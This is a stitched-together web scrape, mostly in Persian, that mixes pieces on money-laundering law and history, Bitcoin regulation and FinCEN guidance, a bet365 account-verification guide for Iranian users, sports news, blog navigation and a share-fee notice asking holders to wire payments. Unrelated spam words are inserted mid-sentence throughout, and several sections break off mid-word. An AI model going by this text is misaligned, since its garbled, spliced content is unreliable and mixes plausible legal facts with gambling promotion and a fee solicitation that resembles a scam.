ایالات متحده نیز قوانین مشابهی وجود دارد که بر اساس آن هر يك از حسابهای بانکی اشخاص می بایست حداقل الزامات که شامل موارد ذیل می باشد را دارا باشد. این الزامات عبارتند nfp از: هویت مالکین وجوه موجود در یک حساب میزان ثروت آنان منشأ ورود وجوه به حساب و انتساب مالکین به مراجع عالی رتبه سیاسی خارجی. بر همین اساس گزارشات هرگونه تخطی از مقررات در زمینه حسابهای بانکی اشخاص می بایست به مقامات nfp ایالات متحده منعکس گردد. در بخش 313 این قانون ارائه هر گونه خدمات اعم از مستقیم و غیر مستقیم از سوی مؤسسات مالی ایالات متحده به بانکهای مجازی خارجی مجاز نبوده و حسابهای آنها می بایست بلافاصله بسته شود. بر اساس این قانون بانکهای مجازی به آندسته از بانکهایی اطلاق می شود که حضور فیزیکی نداشته و نظارت جامعی بر فعالیت آنها وجود ندارد.
در ادامه روند مبارزه با پولشوئی در سطح کشورهای جهان در سال 1991 اولین دستورالعمل اتحادیه اروپا در زمینه پولشوئی تدوین و در آن به کشورهای عضو سه سال مهلت داده شد تا قوانین جدید خود را در این زمینه تدوین نمایند. تا پیش از سال 1994 عمده توجه قوانین بین المللی بر خرید و فروش مواد مخدر متمرکز بوده و اقدام خاصی در زمینه وضع قوانین مبارزه با پولشوئی nfp صورت نپذیرفت. از اواخر سال 1994 به بعد انگلستان قوانینی را در جهت کنترل مبادلات وجوه حاصل از خرید و فروش مواد مخدر وضع نموده و در ادامه کمیته بازل کنوانسیون وین و اتحادیه اروپا نیز در جهت وضع قوانین nfp مشابه به بحث و تبادل نظر پرداختند. پس از واقعه 11 س

ایجاد DATA در روز سه شنبه اعلام شد و درمورد دفع قوانین بالقوه تهاجمی علیه شرکت های ارز مجازی که توسط

ایجاد DATA در روز سه شنبه اعلام شد و درمورد دفع قوانین بالقوه تهاجمی علیه شرکت های ارز مجازی که توسط سازمان های فدرال و ایالتی در آمریکا وضع شده اند ابراز امیدواری شد. این برنامه دارای یک هیئت مدیره می باشد که توسط دو بخش مدیریتی کوچک تر دیگر توصیه خواهد شد.
Constance Choi از بنیانگذاران این کمیته و عضو دبیرخانه گفته است : ” ما اعضای هیئت مدیره را از میان مجریان سابق نظم اساتید برجسته ی تکنولوژی که در زمینه ی فناوری و حریم خصوصی سر رشته دارند و افرادی از نهادهای مالی نوآوری های بالقوه foodily را بدرستی درک می کنند استخدام کرده ایم. و امیدواریم که مقطع گسترده ای را تشکیل دهیم “
Choi مشاور عمومی در Payward است. شرکتی که تحت پلتفرم تجارت بیت کوین Kraken قرار دارد. او این عقیده را برای یک SRO با Stan Stalnaker بنیانگذار Hub Culture درمیان گذاشت که نوعی سیستم شبکه ای اجتماعی می باشد که با ارز مجازی Ven عمل می کند.
آن دو بعد از کنفرانس بیت کوین در 2013 در ماه م ی در سان خوزه پیشرفت زیادی داشتند. او می گوید : ” همه در باره ی چیستی FinCEN سوال می پرسیدند. و ما نیازمند پاسخ واحدی به مشکلات موجود بودیم. بلافاصله foodily پس از آن کنفرانس شروع به برداشتن گام هایی برای ایجاد نیروهای foodily ائتلاف بودیم.”
Choi ادامه می دهد : “چیزی که شاهدش بودیم این بود که فناوری در اینجا مزایای بسیاری دارد. اما سکه های دیجیتالی با مشکلات PR مواجه هستند.به عنوان یم وکیل تکنولوژی شاهد بروز چنین اتفاقی در زمینه کپی رایت و اشتراک گذاری فایل ها بوده ام. سوال این است که شما در چنین منطقه ی مبهمی از عدم قطعیت قانونی چه اقدامی می کردید در عرصه ی دیجیتال چگونه در میان افراد اطمینان خاطر ایجاد می نمودید “ foodily
آن دو یک گروه اصلی که از تولیدکننده های اولیه تشکیل شده بود و هسته ی کمیته را شکل می داد بوجود آمد. آنها به طور مستقیم با مجریان نظم در ارتباط بودند و مستقیما با آژانس FinCEN وزارت خانه ی خزانه داری ایالات متحده گفتگو می نمودند. آنها به دنبال آن بودند که خود بر فعالیت ها نظارت داشته باشند و معتقد بودند که وزارت خزانه داری چنین ایده ای را دوست دارد. (اگرچه آنها چنین استدلال می کنند که خزانه داری هرگز به صورت رسمی به منظور جلوگیری از دخالت قانونی توسط دولت آمریکا آنها را تحریم نکرده است.)
Stalnaker می گوید که به جای هر چیز دیگری ایده بر آن است که بحث به سوی مجریان نظم کشیده شود. “به عنوان افرادی که چنین فناوری را بوجود آورده اند نکته ی حائز اهمیت این است که استاندارد ها و ناگفته ها در این زمینه را بازگو کنیم. چیزی که مایل به اتفاق افتادن آن نیستیم foodily این است که افرادی که نمی توانند چنین کاری انجام دهند به ایجاد توطئه بر سر راه پیشرفت بپردازند.”
Choi خاطرنشان می کند که دولت فدرال ایالات متحده تنها ذینفعی نیست که سازمان خود نظارتی (SRO) با آن مواجه است. ایالات متحده به این معناست که به طور مجزا 50 دولت مستقل به منظور قضاوت وجود دارد. ” هریک از این ایالت ها پول و ارز ها به شیوه های گوناگون معنا و تعریف می کنند.”
همچنین خطر سومی هم وجود دارد که می تواند به صورت یک مانع عمل کند: صنعت خدمات مالی. همانطور که عنوان می شود بیت کوین و سایر ارزهای مجازی به سختی در رادارهایشان ثبت نام می کنند. بنابراین کسب و کاری که امروزه از طریق بیت کوین صورت می گیرد کمتر از درآمد 3 ماهه ی Apple است. اما در هر حال پتانسیل رشد و پیشرفت درباره ی آن وجود دارد.
همانطور که مشاهده می شود شرکت هایی که بین بیت کوین و ارزهای دارای پشتوانه دگرگون می شوند برای آنچه رابطه ی واسطه ای نام دارد نیاز به کسب و کاری دارند که مجوز داشته باشد ( اغلب یک بانک ). بر اساس این مدل کسب و کار بیت کوین به عنوان عامل MTB عمل می کند و تجارت و کسب وکار را بدون دخالت های نظارتی امکان پذیر می سازد.
تنها نگرانی foodily در این است که اگر جامعه ی مالی سنتی بیت کوین و سایر ارزهای مجازی را رد کند به راحتی حتی با وجود SRO – foodily از طریق دولت می تواند آن را غیر قانونی تلقی کند. یک منبع خبری نزدیک به جنبش DATA با اشاره به اینکه این جریان موجب نگرانی foodily موسسات مالی شده چنین گفته است که : “در حال حاضر بانک ها شاهد خلاء های بسیاری هستند چرا که پول در حال خارج شدن و سپس وارد شدن به سیستم مالی است. “ foodily
با این حال هرجا که شرایطی برای کسب پول وجود داشته باشد بانک ها بندرت آن جا را ترک می کنند. DATA در تلاش است که با معرفی استاندارد های قابل قبول در راستای آگاهی نسبت به مشتریان (KYC) و شیوه های ضد پول شویی (AML) برای تمامی ذینفعان از جمله بانک ها اطمینان بیشتری ایجاد کند . امید است که این کار به جلب رضایت بالایی بینجامد و مفهوم ارز مجازی را برای آنها بهتر جا بیندازد.
نشانه هایی مبتنی بر ارتباط رو به گسترش میان دو جهان وجود دارد. حداقل یکی از شرکت های بیت کوین رابطه ی واسطه ای را امضا کرده در حالیکه بقیه هنوز برای انجام این کار در حال گمانه زنی هستند. و شرکت های مبتنی بر بیت کوین همچون سربازانی با تجربه و کارآمد از بخش خدمات مالی سنتی در تلاش اند تا به ایجاد ارتباطی موثر میان آنها کمک کنند.
یکی از بزرگترین چالش ها برای این سازمان جلب رضایت همه جانبه خواهد بود. از یک طرف اجتماعی از توسعه دهندگان و تولیدکنندگان قدیمی با عقیده به گمنامی و عدم تمرکز قرار دارند که در مورد تمرکز این ارز و عدم وجود گمنامی مشکوک هستند. آنها تنها می توانند امیدوار باشند تا این ارز به سادگی مسیر مناسب را پیش بگیرد و از طرف دیگر شرکت هایی وجود دارند که خواهان آن هستند که بیشتر در معرض دید باشند و زیرساخت ها و خدمات قابل استفاده برای بیت کوین را مد نظر دارند که بخاطر آنها با مجریان نظم و بازیگران عرصه ی سنتی ما

نشريه ورزشي اکيپ در نسخه روز پنجشنبه خود اعلام کرد بازيکنان تيم فوتبال پاري سن ژرمن فرانسه در صورت ق

شرط بندی فوتبال پوکر کازینو بینگو بت بت365 وب مانی » بت365 مقاله » وریفای (Verify) how much do i need to retire کردن اکانت
وریفای کردن اکانت در بت اجباری است. سایت از انجام بعضی شارژ کردن ها و برداشت how much do i need to retire ها در صورتی که اکانت وریفای نشده باشد جلوگیری می کند. در هر صورت همه کاربران سایت بت می بایست از قوانین شناسایی مشتریان یا در اصطلاح Know Your Customer تبعیت کنند و کاربران ایرانی از این قاعده مستثنی نیستند. مراحل وریفای how much do i need to retire کردن اکانت در مرحله و به شرح زیر است:
* از طرف شرکت به شماره تماسی که به هنگام ثبت نام در فرم ثبت نام وارد کردید ظرف کمتر از روز کاری تماس گرفته می شود. اگر عجله دارید و زبان انگلیسی شما خوب است برای درخواست تماس باید به این طریق عمل کنید. ابتدا وارد اکانت خود شوید از نوار بالایی روی Members کلیک کنید. حالا از نوار سمت چپ روی My Account کلیک کنید و گزینه KYC – Know Your Customer را انتخاب کنید. حالا روی Request Call Back کلیک کنید. ظرف کمتر از چند ساعت با شما تماس گرفته میشود تا اطلاعات حساب شما وریفای شود. اگر شما این مراحل را انجام ندهید نگران نباشید چون خود شرکت به هر حال با شما تماس خواهد گرفت تا اکانت شما را وریفای کند. اگر صبر کنید با توجه به اینکه از ایران ثبت نام کردید کارمند فارسی زبان سایت با شما تماس خواهد گرفت. در این صورت نیازی به دانستن زبان انگلیسی نخواهید داشت.
* حالا می بایست مدرک شناسایی خود را اسکن کرده و به آن آدرس ایمیل ارسال کنید. این ایمیل verification@bet365.com میباشد . پاسپورت برای همه کاربران بت قابل قبول است و اسکن کارت ملی هم قابل قبول میباشد (پشت و رو) و نیازی به ترجمه به زبان انگلیسی هم وجود ندارد. حتما در Subject ایمیل خود نام کاربری یا یوزر نیم خود را با این فرمت “Verify Username: XXXXX” بنویسید. (به جای XXXXX نام کاربری اکانت بت خود را بنویسید)
اگر در هر کدام از مراحل وریفای کردن حساب خود مشکل داشتید یا میخواستید ببینید که اکانت وریفای شده است یا خیر میتوانید به iranbet @yahoo.com ایمیل بزنید و نام کاربری خود را اعلام کنید تا ایران بت برای شما پیگیری کند.
به اون میگن پی وی سی و در ایران کاربرد نداره چون اکثر نامه هایی که پست میشد به دست یوزر نمی رسید و به دلایل امنیتی خود یوزرا هم نمی خوان که آدرس دقیقشونو فاش کنن. به همین دلیل ما با شرکت به این تفاهم رسیدیم که برای وریفی کردن فقط به انجام کارهای بالا نیاز. برای تماس تلفنی از طرف شرکت هم به زودی اپراتور فارسی زبان برای وریفای با یوزرهای جدید تماس میگیره! pooria • تیر ساعت :
salam,khaste nabashid,bbakhshid in man sabte nam kardam,in emaili k shoma goftid baram naumad yani email umade ama confirm detail tush nadare,v az tarafe sherkat ham ba man tamas gerefte nashode(alan hodude 1 mahe sabte nam kardam)hala man bayad chekar konam bara verify kardane idim?lotfan rahnamayim konid.ba tashakkor ایران بت365 • تیر ساعت :
سلام همان طور که در بالا توضیح داده شده اگر این ایمیل را برای تائید مشخصات خود دریافت کردین مشکلی نیست و با انجام دادن مراحل بعدی میتونین حساب خودتون رو وریفای کنید. - چک کنید ببینید که آیا شماره تماسی که در سایت به هنگام عضویت وارد کردید درست باشه. - طبقه دستورات بالا عمل کنید و کارت شناسایی خودتون رو ایمیل کنید برای شرکت. لطفا کلا در نظر داشته باشید که وریفای کردن اکانت خیلی راحت است. برای این که بفهمید که آیا اکانت شما وریفای شده است یا خیر راه وجود دارد. - وقتی که کارمند فارسی زبان شرکت با شما تماس میگیره پس از انجام مراحل روتین به شما اعلام می کنه که اکانت شما وریفای شده. - از شرکت یک ایمیل مبنی بر کامل شدن مراحل وریفای شدن دریافت می کنین. در هر حالت شما متوجه خواهید شد که اکانت شما وریفای شده. لازم به ذکره که تا زمانی که اکانت شما وریفای نشده باشه نمی تونید از موجودی خود برداشت داشته باشید. ایران بت365 • تیر ساعت :
اگر کاربری تماس تلفنی دریافت نکرد یا برای وریفای کردن مشکل داره لطفا یوزرنیم یا نام کاربری خودتون رو به ایمیل iranbet @gmail.com برای پیگیری ارسال کنید. بت شرط بندی فوتبال پوکر کازینو بینگو » آموزش خدمات مقاله » نحوه ثبت نام در بت • how much do i need to retire مرداد ساعت :
مديرعامل باشگاه پرسپوليس سال نو را به جامعه ورزش کشور و خانواده بزرگ پرسپوليس تبريک گفت. […] يک ميليون يورو پاداش قهرماني PSG در اروپا
نشريه ورزشي اکيپ در نسخه روز پنجشنبه خود اعلام کرد بازيکنان تيم فوتبال پاري سن ژرمن فرانسه در صورت قهرماني در رقابت هاي ليگ قهرمانان اروپا هر يک مبلغ يک ميليون يورو جايزه دريافت مي کنند. […] تحقيق بيشتر فيفا درباره ميزباني روسيه و قطر
مهسا جدي تکواندوکار وزن 63- کيلوگرم کشورمان و محمد اصلاني تکواندوکار وزن 48- کيلوگرم کشورمان دو سهميه ايران در رقابتهاي انتخابي المپيک نوجوانان را به نام خود ثبت کردند. […] دايي خواستار how much do i need to retire رسيدگي فوق العاده how much do i need to retire به درگيري ديروز
سرپرست تيم استقلال گفت: مقايسه how much do i need to retire کبه با بازيکن خارجي الجزيره امارات کار صحيحي نيست زيرا پولي که کشورهاي عربي براي در اختيار گرفتن اينگونه بازيکنان خرج مي کنند برابر با هزينه کل ليگ فوتبال ايران است. […] مطالب بیشتر در این دسته شرط بندی جام ملت های اروپا سوالات متداول از سایت بت وریفای (Verify) کردن اکانت بایگانی برای دسته ’بت365‘ » مطالب بیشتر در این دسته آموزش پوکر دریافت بونوس آغاز فصل درصد تا سقف دلار راهنمای شرکت در لاتاری همه چیز درباره وب مانی آفر های سایت بت بت اسلیپ و نحوه شرط بند

Smurfing - It is another term used for Placement in Money Laundering. .In the US, for instance, laun

قالب وبلاگ
موسسه مطالعات و پژوهشهاي حقوقي شهر دانش
انجمن ایرانی مطالعات سازمان ملل متحد
مستندها | پد دفع سموم کینوکی
The term money laundering is said to originate from the Mafia ownerships of Laundromats in the United States. Gangsters there were earning huge sums of money from prostitution, extortion, gambling and bootlegging. They needed to show a legitimate source of these monies. wealthfront The original sighting was in newspapers reporting the Watergate scandal in United States in 1973. The expression first appeared wealthfront in a judicial or legal context in 1982 in America in the case US vs. $4,255,625.39(1982) 551 F Supp. 314. More recently, Operation Green Ice (1992) showed the essentially transnational nature of modern money laundering.
Money Laundering deprives Governments of tax revenues thereby raising the relative burden of honest citizens. wealthfront Because of rapid movements of large amounts of money there occurs destabilization of financial institutions which in turn jeopardizes funds of innocent citizens. The estimated magnitude of the Money Laundering wealthfront menace totals more than an astounding $500 billion to $1.5 trillion billion a year of which the Asia Pacific alone accounts for around 30 percent.
The core of money laundering in India is undoubtedly the parallel remittance system of Hawala which operates independent of the traditional banking or financial channels. It has now spread its tentacles around the world. The popularity of Hawala can be attributed to its cost effectiveness, efficiency wealthfront and reliability. Some ancillary reasons are the lack of bureaucracy, lack of paper trail and tax evasion. Moreover, the minimal use of negotiable instruments further motivates the hawaladars as the possibility of being exposed is reduced considerably. Hawala is discernable from other remittance systems due to the extensive use of family and regional affiliations. Another unique aspect of Hawala is the importance of trust between wealthfront the parties involved. It is worth noting that one of the meanings attached to the word Hawala is trust! Even though Hawala is illegal from a regulatory standpoint, hawaladars widely advertise their services in ethnic newspapers as well as on the internet. The term white Hawala wealthfront refers to legitimate transactions whereas Black Hawala connotes illegitimate transactions. Black Hawala transactions are always associated with some serious offence like narcotics trafficking and fraud which is illegal in most jurisdictions. Another remittance system is chop , chit or flying money indigenous to China and also used around the world.
Smurfing - It is another term used for Placement in Money Laundering. .In the US, for instance, launderers had sent troops around the country's banks to purchase cashier's checks, drafts and similar instruments for amounts wealthfront less than $10,000. wealthfront In India too, smurfing is quite common. Since most bank branches do not issue cashier's wealthfront cheques, drafts etc against cash deposit beyond Rs 10,000 to Rs 15,000 launderers use different names and different bank branches for such transactions Currency notes worth Rs. 1.8 crores seized by the Enforcement Directorate from a money-laundering group in Delhi in 1997.
Bank Complicity, Money Services and Currency Exchanges, Asset Purchases with bulk cash, Electronic Funds Transfer, Postal Money Orders, Credit Cards, Casinos, Legitimate business/ Co-mingling of funds, Value tampering.
The most perilous repercussion of money laundering has been Terrorist Financing, the reverse procedure of Money Laundering. In Terrorist Financing white money is converted into dirty money. Here the money earned through legitimate sources is used for illegitimate activities.
The wealthfront endemic of money laundering is similar to that of terrorism. As no country is immune wealthfront from the malady of terrorism, likewise no nation wealthfront is impervious to the vicious threat of money laundering. This is corroborated by the various legislations enacted by different countries to tackle wealthfront it. Strategies used by these countries include effective legal framework and tax systems, wealthfront sound financial institutions, efficient tracking and monitoring systems to identify irregular financial transactions. A few of the key laws relating to money laundering in some major countries are enumerated below:-
The Acts establish requirements for record keeping by individuals, banks and other financial institutions, establish money laundering as a federal crime; introduce civil and criminal forfeitures for the Bank Secrecy Act violations, criminalize the financing of terrorism, prohibit financial institutions from engaging wealthfront in business with foreign shell banks, require financial institutions to have due diligence procedures, provide the Secretary of Treasury with the authority to impose special measures on jurisdictions or transactions that are of primary money laundering concern .
The Acts criminalize both actions relating to criminally acquired wealthfront property and the

چه نوع کسب و کارهای دیجیتالی تحت تأثیر قوانین ایالات متحده در این زمینه قرار می گیرند کسب و کارهایی

نام من “مارکو سنتوری” است و در شرکت های تجاری به عنوان وکیل تجاری به کار مشغول هستم. به طور خاص کار من معرفی کسب و کار واحدهای پول دیجیتال است. من همچنین رئیس کمیته امور نظارتی مؤسسه Bitcoin هستم. در این سری مقاله قصد دارم مطالب و اطاعات پایه ای درباره وضعیت قوانین ایالات متحده و چگونگی اعمال آن ها بر شرکت هایی که با واحدهای پول دیجیتال کار می کنند توضیحاتی ارائه دهم. قصد دارم به کسب و کارهایی که با Bitcoin کار می کنند در ارزیابی میزان ریسک کار و ایجاد یک مدل کسب و کار مبنی بر شناخت و اطلاعات کمک کنم.
کسب و کارهایی که با Bitcoin سر و کار دارند در وضعیت دشواری قرار دارند. پرداخت های اولیه که زمانی بدون سر و صدا از زیر رادار قوانین فرار می کردند حالا به نقطه هایی شفاف و جالب توجه برای چشم های نظارتی دولت تبدیل شده اند. هفته گذشته 22 شرکت که به نحوی با Bitcoin سر و کار داشتند توسط دولت New York احضار شدن د. یکی از قاضیان آمریکا حکمی صادر کرد مبنی بر اینکه Bitcoin نوعی پول است و مؤسسه Bitcoin از طرف ایالت کالیفرنی ا نامه فرمان به توقف کار دریافت کرد.
من برایتان با استفاده از چند مثال از تجربیات خودم در این زمینه کاری و نیز مثال هایی از این صنعت به طور کل توضیح خواهم داد که چطور کسب و کارهای مختلف به صورت تحت تأثیر قوانین جدید دولت ایالات متحده قرار گرفته اند. از آن مهمتر راهکارهایی برای تطبیق دادن کسب و کار و مطابق بودن با قوانین مربوط به آن و نیز در عین حال رهایی پیدا کردن از آن ها را به شما معرفی خواهم کرد.
در این متن ها از عبارت های “واحدهای پولی دیجیتال” releve “واحدهای پولی مجازی” releve و “Bitcoin” به یک معنی استفاده خواهم کرد. با این حال باید اضافه کنم که من Bitcoin را به عنوان تنها نوع واحد پول دیجیتال قبول دارم و اینکه عبارت “واحد پول مجازی” می تواند معنایی مختلفی داشته باشد و همچنین اینکه شاید نتوان Bitcoin را به عنوان بهترین نوع واحد پول تعریف کرد.
چه نوع کسب و کارهای دیجیتالی تحت تأثیر قوانین ایالات متحده در این زمینه قرار می گیرند کسب و کارهایی که یا به صورت فیزیکی در ایالات متحده حضور دارند و یا برای شهروندان ایالات متحده کارهای خدماتی انجام می دهند و گاهی تنها کسب و کارهایی که خواهان مشتری های آمریکایی هستند به صورت کلی توسط دو نوع رژیم اداره می شوند: قوانین ارسال پول (که توسط وزارت خزانه داری به اجرا در می آید) و قوانین امنیتی (که توسط کمیسیون بورس و اوراق بهادار اجرا می شود).
اولین رژیم و رژیمی که طی چند ماه گذشته بیشترین توجه رسانه ها را به خود جلب کرده است قانون انتقال پول است. در تعریف کلاسیک انتقال releve پول یک کسب و کار است. کسب و کار A که وجه را از فرد B دریافت می کند و آن وجه را یا در زمانی دیگر و یا در مکانی دیگر به فرد C منتقل می کند.
سرویس releve های Western releve Union مثال بارزی در این زمینه هستند. در ایالات متحده تبعیت از قوانین انتقال پول به معنای تبعیت از قوانین فدرال و نیز قوانین دولت ایالتی است. در این بخش از توضیحات به قوانین سطح فدرال می پردازیم.
انتقال پول در سطح فدرال شبکه اجراء جرائم مالی (FinCEN) اداره وزارت خزانه داری ایالات متحده است که وظیفه نظارت بر اجرای قوانین فدرال در زمینه کسب و کارهای مربوط به خدمات مالی در ایالات releve متحده را بر عهده دارد.
FinCEN در روز 18 مارس 2013 راهنمایی منتشر کرد که در آن بیان شده بود این شبکه تفاوتی میان انتقال واحد پول دولتی (fiat) releve و یا انتقال Bitcoin که حالا دیگر آن را به نام ” ارز مجازی غیر متمرکز قابل تبدیل” می شناسند تفاوتی قائل نیست.
بدین ترتیب کسب و کارهایی که به نحوی با انتقال فروش و یا تبدیل Bitcoin سر و کار داشتند releve حالا به عنوان کسب و کارهای releve خدماتی پولی و یا به طور دقیق تر کسب و کارهای “انتقال پول” شناخته می شوند. این نوع کسب و کارها باید در FinCEN releve به ثبت برسند و نیز با قوانین و الزامات و گزارش دادن آن ها را رعایت کنند. از دید دولت فدرال کلیه کسب و کارهایی که در این زمینه فعالیت می کردند و هنوز به ثبت نرسیده اند و قصد ثبت نیز ندارند یک شنبه تبدیل به شرکت های خاطی بالقوه تبدیل شدند.
همانطور که شما نیز می توانید حدس بزنید این بیانیه releve پیشرفت عظیمی در زمینه واحدهای پول دیجیتال ایجاد کرد. برخی حتی این بیانیه releve را “نقطه عطف” Bitcoin می دانند و این امر به دلیل پیغام واضح و صریح و مثبت آن است که می گوید: Bitcoin غیرقانونی نیست. با این حال تأثیرات منفی آن نیز به همان میزان واضح و روشن بود و آن این است که اغلب ساختارهای کسب و کارهایی که با Bitcoin releve سر و کار دارند غیرقانونی هستند.
برخی از جنبه های بیانیه FinCEN کمی دلداری دهنده بودند و برخی دیگر آزار دهنده. برخی از آن ها برای کسب و کارهای موفق حکم نابودی داشت و برخی را تنها می توان گیج کننده خواند. در اینجا برخی از این موارد را ذکر می کنیم:
افرادی که تنها در ازای کالا و یا خدمات واحد Bitcoin را دریافت می کنند و یا در ازای کالا و خدمات واحد Bitcoin را ارائه می دهند تنها “استفاده کنندگان” یک واحد پول مجازی محسوب می شوند و این افراد انتقال دهنده واحد پول نیستند.
کسب و کارهایی که واحد Bitcoin را از فردی دریافت می کنند و آن را به فرد دیگری منتقل می کنند انتقال releve دهنده پول محسوب می شوند و تنها به دلیل اینکه با واحد پول رایج کشور به کسب و کار نمی پردازند از قوانین و ضوابط انتقال وجه معاف نخواهند بود.
افرادی که واحد پول Bitcoin ایجاد شده خود را به پول رایج کشور تبدیل می کنند با اینکه هرگز به عنوان یک کسب و کار به فعالیت مشغول نیستند و یا وجهی را از فردی دریافت و به فرد سومی منتقل نمی کنند انتقال دهنده پول محسوب می شوند.

مثالی که برای پولشویی بصورت نمونه بکارمی برند بانک اعتباروتجارت بین الملل: BCCI می باشدکه مخفف : Ban

بحث پولشویی با پول کثیف( dirty money ) آغازمی شود پول کثیف پولی است که ازمحل جرم و جنایت وقاچاق ( قاچاق انسان موادمخدرویا اسلحه ) به دست می آید که پولشویان این درآمد نامشروع و غیرقانونی(illegal ) را به انحاء مختلف می خواهند قانونی و مشروع جلوه دهند.پولشویی فرایندی است که درآمدحاصل ازاین نوع کارهای خلاف و غیرقانونی را به پول مشروع و حلال تبدیل می کنندبا هدف ردگم کردن و قانونی جلوه دادن منشاء تحصیل آن.
نوع دیگری ازپولشویی است که به آن Reverse Money Laundering ( پولشویی معکوس ) می گویندوآن این است که منشاء تحصیل پول ازراه قانونی و مشروع است ولی محل استفاده آن غیرقانونی و اعمال جنایت کارانه است مثل استفاده درعملیات تروریستی (terrorism )
مثالی که برای پولشویی بصورت نمونه بکارمی برند بانک اعتباروتجارت بین الملل: BCCI می باشدکه مخفف : Bank for Credit & Commerce International است یک بانک پاکستانی الاصل درلندن که درخیلی ازکشورهای دنیا شعبه داشت درسال 1972 تاسیس و درپنجم جولای سال 1991 تحریم و بسته گردید.دو نظردرمورد این بانک وجود دارد:
2- نظریه دوم اینکه این بانک یک بانک اسلامی بود غیرربوی ورقیب بانکهای fonchim غربی . داشت توسعه و گسترش می یافت به این خاطربرایش پاپوش درست کردند و ازصحنه به بیرون راندندهمه دارائی هایش را هم ضبط کردند.و به آن لقب بانک کلاه برداران و جنایتکاران Bank of Crooks & Criminals را دادند!
وبلاگ درواقع اطلاعاتی درمورد ارز و مسائل ارزی واعتبارات اسنادی fonchim و اینکوترمز و یوسی پی وخاطرات یک بانکدارارزی را بصورت تخصصی و آموزشی به نمایش می گذارد.از دیگرموارد مرتبط می توان به آموزش وتمرین زبان انگلیسی ضرب المثل ها و وقایع اتفاقیه دربانکها اشاره نمود. نویسنده ناصرخلیل زاد
    POWERED fonchim BY BLOGFA.COM  

نمایندگی پنل اس ام اس

آخرین مطالب
تصادف سلام وام ازدواج رامشیر west asset management جولانگاه ریا و دروغ یادداشت روز روی کرد فرهنگی در پیشگیری از اعتیاد. هفته درختکاری. west asset management پارک نمکدون/ سبد کالا سوراخ است دلنوشته سلام وزیر محترم بهداشت نامه ای به خدا ما خدمت میخواهیم نه شمیم خدمت جناب دکتر شمس اله بهمئی چشم ما به جمال چراغهای پارک ساحلی أم الصخر روشن شد
قالب وبلاگ ویراستاری نیسان اشک الهی مشراگه مسجد امام موسی کاظم_مشراگه دکتر خالق پناه پژوهشگاه علوم انسانی و مطالعات فرهنگی ــــحمید حمید پرتال جامع پژوهشگاه west asset management علوم انسانی---حمید حمید موزیک سنتی اهواز-الرشداوی دانلودنرم افزار-مصـطفی حمـــید شهرداری مشـراگه بچه های بازار قدیم رامشیر دانلود اموزش سخت افزار-احمـد حمید رامشیر مشراگه مشراگه شهر ورزش مسجد امام حسین- منطقه ام الصخر مشراگه مجله حسابداری-رامشیر خبرگزاری دانش آموزی رامشیرپانا محبت کوی-نرم افزار کنکور دوره mba
اسفند 1392 بهمن 1392 دی 1392 آذر 1392 آبان 1392 مهر 1392 تیر 1392 خرداد 1392 اردیبهشت 1392 فروردین 1392 اسفند 1391 بهمن 1391 دی 1391 آذر 1391 آبان 1391 فروردین 1391 آبان 1390 مرداد 1390 اردیبهشت 1390 اسفند 1389 دی 1389 آذر 1389 تیر 1389 اردیبهشت 1389
نمایندگی پنل اس ام اس
تصویر ثابت var randombgcolors=["#FEE6DF:#992603", "#E1FFFF:#100293", "#FEDAEF:#A44904", "#FCFFD9:#100385", "#E7FFE9:#027309", "#FDFFE8:#038214", "#D8FEF5:#03785D", "#FCEAB9:#038C1F", "#F6DEFF:#7804A3", "#EEF9FF:#018123", "#EBFFBB:#7F029F", "#F2FEE8:#B70422", "#FCF7CD:#910591", "#FCE9FA:#039308", "#FEF6CF:#100385", "#F3F2F5:#0F028C", "#B4D3DE:#0189BB", "#FEE6EA:#27039D", "#FFFFFF:#038715", "#D9024A:#FEFEA9", "#BE03B1:#FFFFFF", "#03A919:#CAF5FC", "#0202C2:#B5FBC1", "#05A9BB:#FFFFFF", "#000000:#0BFF03", "#A2A2A2:#FEB6F6", "#C7EA77:#000000", "#EBB056:#000000", "#FFFFFF:#028F23", "#FFFFFF:#8F022D", "#FFFFFF:#8F0286", "#FFFFFF:#AD8B03"] var rbcssrule="" var randomnum=Math.floor(Math.random()*randombgcolors.length) if (randombgcolors[randomnum].indexOf(":")!=-1){ rbcssrule="background-color: "+randombgcolors[randomnum].split(":")[0]+";" rbcssrule+="color: "+randombgcolors[randomnum].split(":")[1]+";" } else rbcssrule="background-color: "+randombgcolors[randomnum]+";" document.write(' \n') document.write('.randomcolor{'+rbcssrule+'}\n') if (randombgcolors[randomnum].split(":").length==3) //if link color specified document.write('.randomcolor a{color:'+randombgcolors[randomnum].split(":")[2]+';}\n') document.write(' ')
صفحه west asset management ی نخست پست الکترونیک آرشیو مطالب عناوین مطالب وبلاگ لينك rss پروفایل مدیر وبلاگ

پرداخت هزینه اداری عرضه - پس از گذراندن روال KYC سهامدارانی که دارنده سهام عمومی CPS-PLATINUM CPS-

شماره نمابر: +44 203 195 0301 به سهامداران پیشنهاد می شود که پیش از مراجعه به دفتر نمایندگان خدمات شرکتی و حقوقی LISTCO نوبت بگیرند. اینجا را کلیک کنید و فرم KYC را دریافت نمایید. مدارکی که باید به همراه داشته باشید:
(I) فرم 611/2A (که باید از بخش ورود سهامداران anti money laundering دریافت و چاپ شود) اینجا را کلیک کنید و نمونه فرم 611/2A را ببینید (II) گذرنامه بین المللی (III) دو گواهی نشانی: قبض خدمات همگانی یا صورت حساب بانکی (مربوط به حداکثر 3 ماه قبل) و/یا گواهی نامه معتبر رانندگی (IV) KYCهزینه های ( 200 + 20% ارزش افزوده)
پرداخت هزینه اداری عرضه - پس از گذراندن روال KYC سهامدارانی که دارنده سهام عمومی CPS-PLATINUM CPS-SILVER و CPS-GOLD PAID OPTIONS هستند باید "کارمزد انتقال و مدیریت سهام" (STA) را با نرخ 0.20 دلار آمریکا برای هر سهم پرداخت کنند. هزینه STA باید به همراه هزینه پست 100(GBP) برای تحویل گواهی سهام به صورت تلگرافی به حساب حقوقی شرکت واریز شود.
دارندگان CPS-GOLD UNPAID OPTIONS باید مبلغ 0.58 دلار برای هر OPTION برای تبدیل OPTION های خود به سهام عمومی به اضافه مبلغ کل STA: 0.78 دلار آمریکا برای هر Option) anti money laundering پرداخت anti money laundering کنند. هزینه STA باید به همراه هزینه پست 100(GBP) برای تحویل گواهی سهام به صورت تلگرافی به حساب حقوقی شرکت واریز شود.
